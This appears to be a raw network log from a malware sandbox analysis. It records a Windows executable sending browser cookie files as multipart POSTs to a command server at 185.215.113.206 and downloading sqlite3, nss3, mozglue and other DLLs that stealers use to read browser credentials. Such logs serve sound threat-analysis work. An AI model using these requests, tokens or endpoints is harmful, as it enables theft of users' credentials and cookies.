Nov 26, 2024 10:09:01.442625999 CET	5383	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 Data Ascii: ------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 26, 2024 10:09:02.421673059 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:09:02.863584995 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 10:09:03.315609932 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 26, 2024 10:09:03.315818071 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49735	185.215.113.206	80	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:09:12.663242102 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDAFHDHCBGDGCBGCGII Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 46 48 44 48 43 42 47 44 47 43 42 47 43 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HIDAFHDHCBGDGCBGCGIIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HIDAFHDHCBGDGCBGCGII--
Nov 26, 2024 10:09:14.513993025 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:09:15.016639948 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="file"------AKJDAEGCAFIIDGDGCGIJ--
Nov 26, 2024 10:09:15.962069035 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49766	185.215.113.206	80	3440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:09:22.134807110 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIEHIIEHIEHJKEBKEHJ Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 10:09:22.134864092 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 48 49 49 45 48 49 45 48 4a 4b 45 42 4b 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 Data Ascii: ------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------DHIEHIIEHIEHJKEBKEHJContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 26, 2024 10:09:23.968242884 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:09:24.453984022 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIJEBGDAFHIJJKEHCAA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="file"------EGIJEBGDAFHIJJKEHCAA--
Nov 26, 2024 10:09:28.400101900 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 10:09:29.071043968 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 10:09:29.508613110 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 26, 2024 10:09:29.508645058 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 26, 2024 10:09:29.508655071 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 26, 2024 10:09:29.508694887 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 26, 2024 10:09:29.508707047 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Nov 26, 2024 10:09:29.508725882 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Nov 26, 2024 10:09:29.508740902 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Nov 26, 2024 10:09:29.508800983 CET	1236	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Nov 26, 2024 10:09:29.517514944 CET	1236	IN	Data Raw: 0f b6 14 02 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 d8 83 fe 03 0f 87 f0 fe ff ff 8b 7d Data Ascii: }4}4E]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM1]U}
Nov 26, 2024 10:09:29.517599106 CET	1236	IN	Data Raw: f3 01 89 9d 60 ff ff ff 8b 9d 74 ff ff ff 8b 53 20 89 95 4c ff ff ff 8b 8d dc fe ff ff 8b 41 10 89 85 ac fe ff ff 89 c6 01 d6 8b 53 24 89 95 1c ff ff ff 8b 41 14 89 85 b0 fe ff ff 89 c7 11 d7 8b 41 30 89 85 d0 fe ff ff 01 c6 89 f3 8b 41 34 89 85 Data Ascii: `tS LAS$AA0A4}qT1QP1kA+]rn<}33Ht{({,]HE]11EuUUu
Nov 26, 2024 10:09:31.098263979 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 10:09:31.538098097 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 26, 2024 10:09:32.403458118 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 10:09:32.841099024 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 26, 2024 10:09:33.502978086 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 10:09:33.940521955 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 26, 2024 10:09:37.063271999 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 10:09:37.501674891 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 26, 2024 10:09:38.116297960 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
